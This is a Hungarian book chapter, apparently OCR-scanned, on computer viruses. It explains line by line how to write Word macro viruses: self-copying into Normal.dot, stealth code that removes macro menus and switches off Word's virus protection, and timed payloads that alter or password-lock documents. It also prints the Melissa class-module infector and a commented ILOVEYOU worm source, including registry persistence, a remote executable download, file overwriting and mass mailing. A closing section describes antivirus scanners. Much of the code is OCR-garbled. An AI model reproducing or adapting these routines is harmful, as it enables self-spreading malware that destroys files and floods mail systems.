Else If ActivInstall = False And Normlnstall = True Then Set Dobj = ActiveDocument. VBProject Itt a feltétel fordítva is átfut: Ha a Normal.dot-ban és nem az aktív dokumentumban vagyunk, akkor a Dobj NormalTemplate. VBProject-re lesz állítva, hogy később kiváltsa az aktív dokumentumba importálást.
Application. VBE.ActiveVBProject. VBComponents ("demo").Export "c: \demo.sys" A modult a C\demo.sys fájlba exportálja. Ebben a fájlban benne van az egész forráskód, hogy később lehetőleg egy fertőzendő fájlba lehessen im-
Dobj. VBComponents.Import ("c:\demo.sys") Itt importálja az elején exportált fájlt (a vírust). Hogy melyik fájlba lesz csomagolva, az attól függ, hogy mire lett állítva a Dobj.
portálni. For I = 1 To NormalTemplate.VBProject.VBComponents.Count Ez egy For ciklus. Annyiszor ismétli az utána következő kódot, ahány modul van a Normal.dot-ban.
Most néhány funkció következik, amelyeket be lehet építeni.
Az álcázáshoz - stealth A Word alapértelmezésben megmutat egy modult a VB Editorban, ezenkívül a Normal.dot-on keresztül célzottan másolni is lehet a makrókat. Az álcázás
tehát azt jelentené, hogy a makrovírust elrejtjük. Ez úgy megy a legegyszerűbben, ha nem lehet a menükből elindítani a megfelelő funkciókat. Ezen a helyen a ritkán használt parancsok elrejtése a Word 2000-ben különösen végzetesen hat: a felhasználó e beállítás miatt egyáltalán nem vesz észre bizonyos beavatkozási lehetőségeket. A vírus eltávolítja ezeket a bejegyzéseket, és sokkal tovább marad észrevétlen. CommandBars(''Tools").Controls(''Macro").Delete Kiveszi a makrókra vonatkozó menüparancsokat. CommandBars("Tools"). Controls("Templates and Add-lns... ").Delete Kiveszi a sablonokra és a bővítményekre vonatkozó menüparancsokat. CommandBars(''Format").Controls(''Style... ").Delete * Kiveszi a stílusokra vonatkozó menüparancsokat. Options. VirusProtection = False Eltávolítja a vírusvédelmet, amelyekkel a Word a dokumentumokban előforduló makrókra reagál. Options.SaveNormalPrompt = False Ezzel a paranccsal kikapcsolja a párbeszédablakot, amely alapértelmezésben rákérdez a Normal.dot mentésére, így anélkül lehet megváltoztatni a Normal.dot-ot, hogy azt a felhasználó észrevenné. Fontos még: mivel ennek a funkciónak a kikapcsolása a háttérben történik, a hiányát csak az veszi észre, aki jól kiismeri magát a Wordben. A rejtőzködéshez bizonyos menüparancsok kikapcsolása is fontos, ami megvalósítható néhány programsorral. Sub ToolsMacro( ) On Error Resume Next End Sub Ha a felhasználó az Eszközök/Makró/Makrók-ra. kattint, lefut ez a sub. A felhasználó nem láthatja a párbeszédmezőt. Sub FileTemplates( ) On Error Ressume Next End Sub A felhasználó nem tudja elindítani a Sablonok és bővítmények ablakot.
SubViewVBCode( ) On Error Resume Next End Sub A felhasználó nem tudja elindítani a VB editort.
Sub WordBasic.DisableAutoMacros = 0 End Sub Az automakrók inaktívvá válnak. A Word kérdését, hogy a makrókat lefuttassa-e, a következő paranccsal lehet kikapcsolni a Registry-ből. System.PrivateProfileString("","HKEY_CURRENT_USER\Software\ Microsoft\Office\9.0\\Word\SecTírity", „Levél") = /& A Programhiba esetén az On Error Resume Next -tel egyszerűen továbbfut.
5.5.5 Ilyet is lehet: a vírus egy Payload-ot hív meg Hogy a vírus ne legyen azonnal aktív, egy folyamatellenőrzési lehetőséggel is fel van ruházva. A fertőzésszámláló pontosan ezt a lehetőséget kínálja. Ehhez el kell helyezni egy kulcsot valahol a Registry-ben, azután nullánál megtörténik a gonoszkodás. Ugyanígy egy bizonyos napot is lehet használni. A megfelelő kódsorok egyszerű If lekérdezések. If Month(Now( )) = l And Day(Now( ) = l Then Call Payload 'Ha az aktuális dátum január L, akkor menj a payloadra. If Month(Now( )) = l And Day(Now( ) = l Then Call Payload 'Ha az aktuális dátum január 2., akkor menj a Payloadra. Természetesen a rendszeres összehasonlítás egy véletlenszámmal is lehetséges. Ha a szám és a változó megegyeznek, akkor következik be az esemény: x=Int(Rnd * 100) 'X egy változó, amely egy 0-100 közti számot tartalmaz. If x = 3 then Call Payload 'Ha x, menj a Payloadra.
5.5.6 A vírus fájltulajdonságokat vagy szövegtartalmakat változtat meg A Payload mögött különféle ténykedések rejtőzhetnek, amelyeket az időzített kioldó vált ki. Például megváltozhatnának a dokumentum-tulajdonságok: hirtelen egy Dagobert kacsa írta a levelet vagy ilyesmi: Sub Payload( ) ActiveDocument.ReadOnlyRecommended = False With Dialogs(wdDialogFileSummaryInfo) .Author = "Szerző" .Title="Cím" .Subject = "Tárgy" .Comments = "Megjegyzések" .Keywords = "Keresőszó" .Execute End With End Sub Ugyanígy szavakat is kicserélhetünk Word parancsok segítségével. A kedvelt Keresés-Csere funkció most a vírust segíti: Sub Payload( ) On Error Resume Next Selection.HomeKey Unit:=wdStory Selection.Find.Replacement.ClearFormatting With Selectíon.Find .Text = "Mit keres" 'a cserélendő szöveg .Replacement.Text = "Mire cseréli" 'amire cseréli .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = True .MatchAllWirdForms = False End With Selection.Find:ExecuteReplace:=wdReplaceAll CommandBars("edit").Controls("UndoVBA-Find.Execute").Delete CommandBars("edit").Controls("Repeat" Replace...").Delete
CommandBars(''edit").Controls("Replace...
").Delete
If ActiveDociment.Saved = False Then ActiveDocument.Save End Sub
5.5.7 A vírus jelszóval védi a fájlt A jelszavas védelmet is be lehet kapcsolni egy makrovírussal: Sub Payload( ) ActiveDocument.Password = "hallo" 'Persze lehet véletlenszerű jelszót is csinálni. End Sub Ezentúl biztosan másképpen fogják kezelni a Word-figyelmeztetést. A vírusvizsgálónk legyen mindig a legfrissebb, és használjuk minden alkalommal, ha kapunk egy Word vagy Excel dokumentumot. Sajnos, egyes vírusprogramozók sportot űznek abból, hogy mindig új fertőzési módokat találjanak ki. Százszázalékos védelem nem létezik, de hatékony megelőzés azért lehetséges.
5.6 Megfertőzött osztálymodulok A WinWord dokumentumok megfertőzésének egy másik módja az osztálymodulok megfertőzése, ami sokkal nehezebbé teszi a vírus felfedezését. Az osztálymodulok bizonyos mértékig saját meghatározású vezérlőelemek, amelyeknek magunk írhatjuk a forráskódját. Az osztálymodulok ezért ugyanazokkal a tulajdonságokkal rendelkeznek, mint a vezérlőelemek, vagyis egy objektumot definiálunk tulajdonságokkal és eljárásokkal. Az osztálymodulok abban különböznek a felhasználó által meghatározott vezérlőelemektől, hogy kvázi „láthatatlanok". Az osztálymodulok a felhasználó számára nem olyan könnyen felismerhetők, mert a makrókhoz és sablontartalmakhoz tartozó Makró és a Szervező ablakban nem mutatja őket a program. Aki szeretne utánanézni, úgy találja meg ezt a párbeszédablakot, ha az Eszközök/Makró/Makrók Szervezőre kattint. Az osztálymodulok megfertőzésének a stratégiája más, mint az eddig bemutatott makróvírusoké: itt már nem exportálnak és importálnak egy kódot minden jövendőbeli Word fájlba, vállalva a felfedezés veszélyét, hanem beolvassák a kódot, és ezt a sztringet illesztik be egy másik osztálymodulba. A víruskód
megnyitáskor láthatatlanul integrálódik minden további dokumentumba. A programozás stuktúrájához egyszerűen azt kell elképzelni, hogy a vírus végrehajtódik, és csak a dokumentumban vagy a Normal.dot-ban lehet. A kód beolvasásához tehát ki kell találni, hogy hol vagyunk, abból azután már logikusan következik, hogy mit kell megfertőzni. íme egy példavírus, kommentárokkal a kódban, hogy világossá tegye a mögötte rejlő meggondolásokat. Private Sub Document_Open( ) ' Ez a Sub mindig lefut, ha egy dokumentumot megnyitnak. ' Figyelembe kell venni, hogy a SUB Priváté. Egy osztálymodulban mindennek ' Private-nak kell lennie. Ha ezt valaki elfelejti, annak fertőzésnél azonnal hibát jelez. ' A Sub neve is megváltozott. Most Document_Open( ) a neve, nem pedig ' AutoOpen( ). On Error Resume Next ' a szokásos történet a hibával MyPos = ThisDoaiment.Name ' Mivel nem tudjuk, hol vagyunk (a Normal.dot-ban vagy a dokumentumban) 'a ThisDocument.Name adja a választ If MyPos = „Normal.dot" Then Set Source = NormalTemplate.VBProject.VBComponents(l).CodeModule Set Target = ActiveDocument. VBProject. VBComponents(l).CodeModule 'Ha a Normal.dot-ban vagyunk, tudjuk, hogy az aktuális dokumentumot kell ' megfertőzni, és hogy a víruskód a Normal.dot-ból jön. ' Létrehozzuk a változóinkat. De lehetséges, hogy már az aktuális dokumentum is ' fertőzött. Ezt ebben a példában nem ellenőrizzük, ' mert minden kód megfertőzésénél azok, amelyek előzőleg ott voltak, törölve ' lesznek. Így ez csak elpazarolt processzoridő. Ez azonban azt is jelenti, ' hogy ha ott egy másik vírus volt, ezt az új felülírja. ' ActiveDocument. VBProject.VBComponents( l). CodeModule
' Az indexszám l a VBComponents(l)-nél mindig a „ThisDocument" osztálymodul, ' amelyet meg kell fertőzni. Else ' ha nem a Normal.dot-ban vagyunk, már csak egy lehetőség marad hátra Set Source = ActiveDocument. VBProject. VBComponents(1).CodeModule Set Target = NormalTemplate.VBProject.VBComponents(1).CodeModule End If With Source VirCode = .Lines(l, .CountOflines) End With ' Ha egy objektumot egy With...End With-blokkba zárunk, akkor nincs szükség ' az objektumnév ismétlésére. ' Tehát ott van, hogy Source.Lines(l, Source.CountOflines) ' Most a teljes víruskód a VirCode-ba lesz beolvasva. ' Source.CountOflines adja vissza a sorok/Lines számát a modulban. ' .Lines(az l. sortól beolvasni, annyi sort, amilyen hosszú a modul), With Target .DeleteLines l, .CountOflines ' A megfertőzendő fájlban minden sort törölni kell. Az 1. sortól kezdve, ....' annyi sort kell törölni, amilyen hosszú a modul. ....' Ezzel biztosak lehetünk abban, hogy ott már semmi sincs. Ha a vírus ott már ....' megtalálható lenne, és beírjuk a modulba, anélkül, hogy előzőleg törölnénk ' a sorokat, az hibaüzenethez vezetne. .InsetLines l, VirCode ' A beolvasott sztring beillesztése a modulba. ' Az l. sortól kezdve, és VirCode a sztring. End With Egy igazi vírus persze sokkal nagyobb ennél, és még Stealth-funkciókat is tartalmaz.
Az alábbiakban egy példával világítjuk meg, hogyan fertőzi meg az osztálymodulatokat a Melissa:
CUT HERE Priváté Sub Document_Open( ) On Error Resume Next Set ASI1 = ActiveDocument.VBProject.VBComponents.Item(l) 'Állítsd ADIl-et ActiveDocument.VBProject.VBComponents.Item(l) -re.
Set NTI1 NormalTemplate. VBProject. VBComponents.Item(l)
'Állítsd SetNTIl-et NormalTemplate,VBProject.VBComponents.Item(l)-re. NTCL = Hni.CodeModide-.CountOfLims ADCL = ADIl.CodeModule.CountOfLines BGN =2 If ADILName <> "Melissa" Then IfADCL>OThen_ ADIl.CodeModule.DeleteLines l, ADCL SetToInfect = ADIl ADILName = "Melissa" DoAD = True End If If NTILName <> "Melissa" Then If NTCL >0 Then _ NTIl.CodeModule.DeleteLines l, NTCL SetToInfect = NTIl NTILName = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do WhileADIl.CodeModule.Lines(1, 1) ="" ADIl.CodeModule.DeleteLines l Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close( )")
Do While ADIl.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADIl.CodeModule.Lines(BGN, 1) BGN = BGN + l Loop End If If DoAD = True Then Do While NTIl.CodeMOdule.Lines(1, 1) = "" NTIl.CodeModule.Lines Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open( )") Do While NTIl.CodeModule.Lines(BGN, 1) <> "" ToInfectCodeModule.InsertLines EGN,NTIl.CodeModule.Lines(BGN, 1) BGN = BGN +l Loop
End If CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(l, ActiveDocumentName, "Document") = False) Then ActiveDocument.SaveAsFileName:=ActiveDocument.FullName Elself (InStr(l, ActiveDocumentName, „Document") <> False) Then ActiveDocument.Saved = True End If End Sub
CUT HERE
5.7 ILOVEYOU A LoveLetter egy VBS-féreg (Vimal Basic Script) amely e-mailen keresztül terjed, mellékletként. A LoveLettert először 2000. május 4-én jelezték. Néhány órán belül világszerte elterjedt, és a hálóra csatlakoztatott cégek 90% -át megfertőzte. Most minden idők egyik legveszélyesebb vírusát fogjuk alaposabban szemügyre venni.
5.7.1 Mi az a féreg? A féreg egy darabkányi kód, amely magától terjed az interneten vagy a helyi hálózaton keresztül. A vírussal ellentétben a féreg nem közvetlenül rombol. A féreg, mint az ILOVEYOU esetében, legfeljebb magas forgalmat (traffic) generál.
5.7.2 A működési mód
Miközben a féreg aktív volt, a Taskmanager-en is megjelent mint w_srcipt. Ebben az esetben gyorsan be kellett zárni ezt a feladatot, vagy a gépet is rögtön kilőni! A féregnek egy variánsa aktiválta a jelszó cache-elést, és ezután a cache-elt jelszavakat elküldte mailben. Az eddig ismert változatok: • ILOVEYOU • Susitikim shi vakara kavos puodukui... • Joke
Az ILOVEYOU féreg egy weboldalról töltött le egyes bannereket, amelyeket azonban hamarosan nem lehetett elérni, mivel a Fülöp-szigetek-i szolgáltató, a Sky Internet Inc., gyorsan kapcsolt, és törölte a webhelyet.
• Mothers Day Order Confirmation
Ugyanott a féreg a WIN-BUGSFIX programot is le akarta tölteni, amely jelszavakat kémlel ki, és ezeket Access Net accountokra kellett volna küldenie, ezzel az üzenettel: Bárok...e.mail.passwords.send.er.trajan-by spyder.
• Important! Read carefully!!
A féreg manipulálta még a következő Registry-bejegyzéseket: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run \MSKernel32 HKEY_LOCAL_MACHINE\Sofrware\Microsoft\Windows\CurrentVersion\Run Services\Win32DLL HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
\WN-BUGSFIX Miután lefuttatták, automatikusan elküldte magát a címjegyzék e-mailcímeire. Így nagy forgalom keletkezett a cégek belső hálózati mailszerverein, aminek következtében néhány céges hálózatnak teljes egészében le kellett mondania a mailküldésről. A féreg az Outlookon és a mIRC-en keresztül is terjedt. Úgy módosította a mIRC script.ini fájlját, hogy egy csatorna minden látogatója, amelyek között ott volt a fertőzött is, megkapta a .vbs fájlt, A legdestruktívabb azonban az a tény volt, hogy minden js, .jse, .css, .wsh, .sct, .hta, .vbs, .jpeg, .jpg fájlt használhatatlanná tett, illetve elrejtette az .mp3 és az .mp2 fájlokat.
• Dangerous Virus Warning • Vírus ALERT!!! • I Cant Believe This!!! • Thank You For Flying With Arab Airlines • Variant Test • Yeah, Yeah another time to DEATH... • LOOK! • How to protect yourself from the ILOVEYOU bug! Az Amable Mendoza Aguila Computer College-ben, a Spyder nevet használó hacker munkahelyén 10 személyt gyanúsítottak azzal, hogy részt vettek a Bárok 2.1 szoftver fejlesztésében. Időközben a hackereknek volt idejük, hogy minden döntő bizonyítékot töröljenek a gépeikről, míg a hatóságok napokon át semmit sem tettek. A féreg, hivatalos számok szerint, 600 ezer számítógépet ért el, a nem hivatalos számok azonban ennél jóval magasabbak, mivel ezekbe a statisztikákba nem kerülnek be a magánfelhasználók gépei. A károkat több milliárd dollárra becsülték, s ez az érintett szerverek tisztán materiális kiesési ideje, a rendszergazdák félelmeit és feldühítését még egyáltalán nem számoltuk. Két prominens áldozat is volt: a ZDF tévéadó és az Expo-világkiállítás. Sok cég megelőzésképpen leválasztotta mailszerverét a netről.
Az eset egyedüli nyertesei az antivírusok gyártói voltak, akiknek a részvényei 10%-kal is emelkedtek.
5.7.3 Hogyan tudott a féreg elterjedni? A féreg terjedésének az alapja az volt, hogy manapság, főleg az internetes újoncokban, nem tudatosulnak a hálóval kapcsolatos veszélyek. Ennek a féregnek semmi esélye sem lett volna, ha minden végfelhasználó tudott volna a Visual Basic Script veszélyeiről. Sokan azt hitték, hogy csak a végrehajtható fájlok, mint az .EXE vagy a .COM fájlok jelenthetnek veszélyt. Az, hogy ActiveX-kontrollok és más scriptek is veszélyesek lehetnek, még nem ismert általánosan. Az ILOVEYOU vírus téma a múltban nagyon gyakran szerepelt a médiában, de sehol nem jelent meg róla még felvilágosítás, nemhogy egy analízis háttérinformációkkal a felhasználók számára. Ellenintézkedésként ajánlkozik a WindowsScripting hostok eltávolítása uninstall-lal, és a Registry-bejegyzések eltávolítása, valamint a *.vbs fájlok törlése a Windows és a Windows/System könyvtárból.
5.7.4 A forrás - kommentárokkal A továbbiakban az ILOVEYOU vírus forráskódja látható, de hangsúlyozzuk, hogy ebben a formájában teljesen hatástalan. A célja csak a felépítés bemutatása és kommentálása sorról sorra. A vírus a Windows Scripting Host-tal hajtódik végre. rem barok -loveletter(vbe) rem by: spyder / [email protected] / ©GRAMMERSoft Group / Manila,Philippines Ezek a sorok csak szerzői kommentárok, tehát a szerző mailcíme és álneve, a vírus működésére nincs semmilyen hatásuk. On Error Resume Next dimFSO,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0
Az On Error Resume Next-tel a hibakezelést vezeti be: ha a program futtatása közben hiba lép fel, akkor a következő lépéssel kell folytatni, hibaüzenet nélkül. Ezután definiál néhány változót, ezekkel a változókkal fog a későbbiekben dolgozni. Set so = CreateObject("Scripting.FileSystemObject") set file = f s o . Open TextFile (Wscript. ScriptFullname, 1) vbscopy=file.ReadAH A program ezután egy FileSystemObject-et (fso) hoz létre. Ezzel az objektummal lehet fájlokat elérni. A következő sorban ez meg is történik: a program az OpenTextFile-lal és az azután következő ReadAll( ) -lal beolvassa magát a memóriába. main( ) sub main( ) On Error Resume Next dim Tvscr,rr setivscr=CreateObject("Wscript.Shell") rr=scr.Regread(''HKEY_CURRENT_USER\Software\Microsoft\Windows ScriptingHost\Settings\Timeout") if (rr>=l) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0, "REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem =fso.GetSpecialFolder(l) Set dirtemp = fso.GetSpecialFolder(2) Set c =fso.GetFile(Wscript.ScriptFullName) c. Copy(dirsystem& "\MSKernel32.vbs") c.Copy(dirwin& "\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns( ) html( ) spreadtoemail( ) listadriv( ) end sub
Innentől kezdődik a vírus főrutinja. Először a CreateObject( ) -tel egy Shell objektumot hoz létre - ez az objektum teszi lehetővé a Windows különböző funkcióinak az elérését. Ki lehet például olvasni a Registry-t, és írni lehet bele, ami később meg is történik. A Set parancsokkal kérdezi le a program a Windows könyvtárait (dirwin), valamint a Windows/System (dirsystem) könyvtárat, hogy azután a maga egyik másolatát tegye le a következő neveken: MSKernel32.vbs, Win32DLL.vbs, illetve LOVE-LETTER-FOR-YOU.TXT.vbs. Ezek a fájlok tehát kizárólag a vírust tartalmazzák. Mikor a vírus így bemásolta magát, hozzákezd az igazi feladatához, amihez a következő függvényeket hívja meg: regruns( ), html( ), spreadtoemail( ) és listadriv( ). A html( ) egy helyi HTML-fájlt helyez el, amely valójában még egyszer tartalmazza a vírust, és ezt indításkor végrehajtja. A többi funkciót a forrásszöveg folyamatában magyarázzuk el, a működési módjukkal együtt. sub regruns( ) On Error Resume Next Dim num,downread regcreate "HKEY__LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion \Run \MsKernel32 ",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion \RunServices\Win32DLL ",dirwin8í "\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\ Internet Explorer\Download Directory") if (downread="") then downread="c:" en if if
s/HJKjnwerhjkxcvytwertnMTFwerdsfmhPnjw6581345gvsdfl619njbvYT/ WIN-BUGSFIX.exe elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart Page", "http://www.skyinet.net/ ~angelcat/skladjflfdjghKJnmtryDGFikjUlyqwrWe546786324hjk4jnHH GbvbmKL/ JKjhkqj3w/ WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Sofrivare\Microsoft\InternetExplorer\Main\Sart Page", "http://www.skyinet.net/ ~koichi/jf6TrjkcbGRpGqaql98vbFV5hfFEjbopBdQZnmpOhfgER61b3Vlrvg/ WN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart Page ", "http://www.skyinet. net/~chu/ sdgfhjksdfiklNBmnfgkKLHjkq'wtiiHJBhAFSDGjkhYUgq'werasdjh PhjasfdglkNBhbq'webmznxcbvnmadshfgq'w23146I234iiiylthjg/ WIN-BUGSFIX.exe end if end if if (fileexist(dovmread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run \ WIN-BUGSFIX",downread& "\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main \Sart
Page",
"about:blank" end if end sub A regruns( ) funkciónak különböző feladatai vannak a Registry-ben. A CurrentVersion/Run alatt két kulcsot hoz létre, mindkettő a vírus előzőleg létrehozott másolatára mutat, MSKernel és Win32DLL név alatt.
A Run alatti bejegyzések a Windows indításakor automatikusan lefutnak. Ez azt jelenti, hogy a következő rendszerindításkor a vírus ismét elindul, és újból kezdi a működését. Ezután a vírus az Internet cache-t keresi, tehát azt a könyvtárat, amelybe a megfelelő fájlokat tölti az Internet Explorer. Ha a vírus nem talál cache-t, egyszerűen a C:-t használja. Most a program megváltoztatja az Internet Explorer kezdőlapját, ehhez négy különböző oldal szolgál választékul, amelyek közül véletlenszerűen választ ki egyet. Minden oldal a skyinet.net egyik szerverére vezet. Erről az oldalról azután még egy további fájlt is automatikusan letölt a vírus, ez a fájl megintcsak bejegyzi magát a Registry-be, úgy, hogy a következő Windows-indításnál végrehajtódik, s támogatja a vírus működését. Röviddel az ILOVEYOU megjelenése után azonban a skyinet.net lépett, és eltávolította a szerverről a megfelelő oldalakat. sub listadriv On Error Resume Next Dim d,dc,s Set dc =fso.Drives For Each d in de If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.patb&"") end if Next listadriv = s end sub Ez a függvény minden meghajtót kilistáz, és ezután meghívja a folderlist függvényt, amely a meghajtókon található minden mappát megdolgozza. sub folderlist(folderspec) On Error Resume Next
dim f, f1, sf set f=fso. GetFolder(folderspec) set sf=f.SubFolders
for each f1 in sf
infectfiles(f1.path) folderlist(f1.path) next end sub
Minden mappán végrehajtja az InfectFiles funkciót. Ez a funkció a mappák egyes fájljait szerkeszti, s hogy pontosan mit is tesz, az majd később következik. Minden fájlt felsorol, amelyet meg fog fertőzni: sub infectfiles(folderspec) On Error Resume Next dim f, f1, fc, ext, ap, mircfname, s, bname, mp3 set f=fso. GetFolder(folderspec) set fc =f.Files for each f1 in fc ext=fso. GetExtensionName (f1 .path) ext=Icase(ext) s=Icase(f( ).name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f0).path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (Ext="sct") or (ext="hta") then set ap=fso. OpenTextFile(f1.path, 2, true) ap.write vbscopy ap.close bname=fso.GetBaseName (f1.path) set cop=fso.GetFile(f0.path) cop.copy(folderspec& ""&bname& ".vbs") fso.DeleteFile(f( ).path) elseif(ext="jpg") or (ext="jpegn) then set ap=fso.OpenTextFile(f1.path, 2, true) ap.write vbscopy ap.close set cop=fso.FetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3" ) or (ext="mp2") then setmp3=fso.CreateTextFile(f1.path&",vbs") mp3.write vbscopy mp3.close
set att=fso.GetFik(f1.path) att.attrihites=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec& "\script.ini") script.ini.WriteLine "[script] script.ini.WriteLine ";mIRCScript" script.ini. WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRCwill" script.ini. WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" script.ini.WriteLine ";" script.ini.WriteLine ";KhaledMardam-Bey" script.ini.WriteLine ";http://www. mirc. com " script.ini.WriteLine ";" script.ini.WriteLine "n0=on 1:JOIN:#:{„ script.ini.WriteLine " n 1 = / i f ( = = ) {halt}" script.ini.WriteLine "n2= /.dcc send "&dirsystem&\LOVE_LETTER_FOR_YOU.HTM" script.ini.WriteLine "n3=}" script.ini.close eq=folderspec end if end if next end sub
A következő függvények segédfüggvények, amelyeket a program más pontjain használ fel. Ezek a függvények egy Registry-bejegyzést készítenek, és ellenőrzik, hogy léteznek-e bizonyos fájlok vagy mappák. sub regcreate(regkey,regualue) Set regedit = CreateObject("Wscript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("Wscript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExist(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function
1. Megkeres minden, megadott kiterjesztésű (.js, .wsh, .css stb.) fájlt, és a saját magáról készített másolattal írja felül ezeket.
function folderexist(folderspec) On Error Resume Next dim msg if ( f s o . GetFolderExist(folderspec)) then msg = 0 else msg = l end if fileexist = msg end funrtion
2. Ha talál egy mIRC-et (Chat Scriptet), akkor felülírja a script.ini-t. Ez a script, ha lefut, ugyancsak a vírust terjeszti úgy, hogy egy LOVE_LETTER_FOR_ YOU.HTM nevű fájlt küld a csatorna minden felhasználójának.
sub spreadtoemail( ) On Error Resume Next dimx,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
Az InfectFiles -nak két feladata van,
setregedit=CreateObject("Wscript.Sheir) set out=WScript. CreateObject("Outlook.Application ") set mapi=out. GetNameSpace("MAPI") for ctrlists=1 ro mapi.AddressLists.Count set a=mapi.AddressLisets(ctrlists) x=l
regv=regedit.RegRead(''HKEY_CURRENT_USER\Software\Microsoft\ WAB"&a) if(regv="") then regv=l end if if (int(a.AddressEntries. Count>inr(regv)) then for ctrentries=l to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB"&malead) if(regad="") then set male=out.Createltem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body =vbcrlf&"kindly check the attached LOVELETTER comingfrom me." male.Attachments.Add(dirsystem& "\LOVE-LETTER-FOR-YOU. TXT. vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER \Software \Microsoft\WAB"&malead, 1, "REG_DWORD" endif x=x+l next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&:a,a. AddressEntries. Count endif next
Set out=Nothing Set mapi=Nothing end sub A SpreadToEmail( ) függvény megnyitja a programot, amelyben a Windows minden mailcímet tárol, tehát a címjegyzéket (WAB.EXE), hogy azután a címjegyzékben talált minden címre elküldje a vírus másolatát. Ez a program tulajdonképpeni terjedési módja: lefut, és elküldi magát minden címre, amit talál. Csak ezért tudott ennyire gyorsan elterjedni. Amint látjuk, az ILOVEYOU, az egyszerűsége ellenére, igazán komplex funkciókkal van felszerelve. A kár, amelyet a felhasználóknál hátrahagyott, többnyire csekély, csak különböző script-fáljokat írt át. Az internet-, illetve mailszolgáltatók kára viszont - a feldolgozhatatlan mennyiségű e-mail miatt milliós volt.
5.8 Hogyan működnek a vírusvizsgálók? A vírusvizsgáló egy adatbázist használ, amely minden felismerhető vírus nevét és lenyomatát tartalmazza. A legtöbb vírusvizsgáló frissítésekkel folyamatosan bővíti az adatbázisát, ehhez a szoftver gyártói saját víruslaborokat tartanak fenn, úgynevezett nyomozócsapatokat foglalkoztatnak, és látogatják az idevágó newsgroupokat, hogy folyamatosan tudjanak reagálni az új fenyegetésekre.
5.8.1 Szkennermodul A szkennermodul a vírusok felkutatásáért felelős a merevlemezen. A szkenner ellenőrzi egy fájl vagy egy program kódját. Ha a szkenner megváltoztatott kódot vagy valamilyen egyéb eltérést észlel, akkor ezt összehasonlítja az adatbázis lenyomataival, hogy megállapítsa a víruskódokkal való egyezést. Az eljárás neve Pattern Matching. A szkennermodul a vírusok sztringjeit és viselkedési módját is felismeri, és ezzel potenciálisan olyan vírusokat is leleplezhet, amelyek még nincsenek benne az adatbázisban. Az ilyen szkennelésnél a hibaszázalék magasabb, mint a normál víruskeresésnél.
5.8.2 Víruspajzs A víruspajzs egy memóriarezidens, a háttérben működő szkenmodul. Úgy van beállítva, hogy valós időben, folyamatosan kövesse a felhasználók minden fájlelérését. Ha egy fájlt elindítanak, kijelölnek, átnevezik vagy letöltik a hálóról, a víruspajzs azonnal megvizsgálja, és ha szükséges, jelentést tesz. A hátránya, hogy a vírusprogramtól függő mértékben visszafogja a rendszerteljesítményt.
5.8.3 „Fertőtlenítő" Ha a szkenner vírust talál, ez a modul lép akcióba. Ennek a modulnak, a fertőzéstől függően, különböző opciói vannak a vírus eltávolítására. Vagy megtisztítja a fájlt a vírustól, vagy elkülöníti, azaz áthelyezi egy „karanténkönyvtárba", vagy törli a fájlt, ha nincs rá lehetősége, hogy valamiképpen megtisztítsa.
5.8.4 A vírusvédő program kiválasztásának a szempontjai Hogy mennyit akarunk vagy kell ráfordítanunk egy-egy virusvizsgálóra, az attól függ, hogy milyen nagy a fertőzés kockázata, és mennyibe kerülne az adatok újbóli előállítása. A következő szempontokra kell ügyelni: • A kínált programfrissítési gyakoriság (legjobb hetente egyszer) • Az ügyféltámogatás minősége • Szkennelési sebesség • Szkennelési minőség • Lehetséges-e a szkennelés a háttérben, vagy a szkennelés leállítja a rendszert? • Felismeri-e a program a vírusokat már letöltés közben? • Meg tudja-e találni a szoftver tömörített fájlokban is a vírusokat? • Tudja-e ellenőrizni az e-mailhez csatolt fájlokat (attachments) már az elindításuk előtt? A kezelése kényelmes, vagy feleslegesen bonyolult?
6. fejezet - Tartalom 6.1.
A szkenner
6.2.
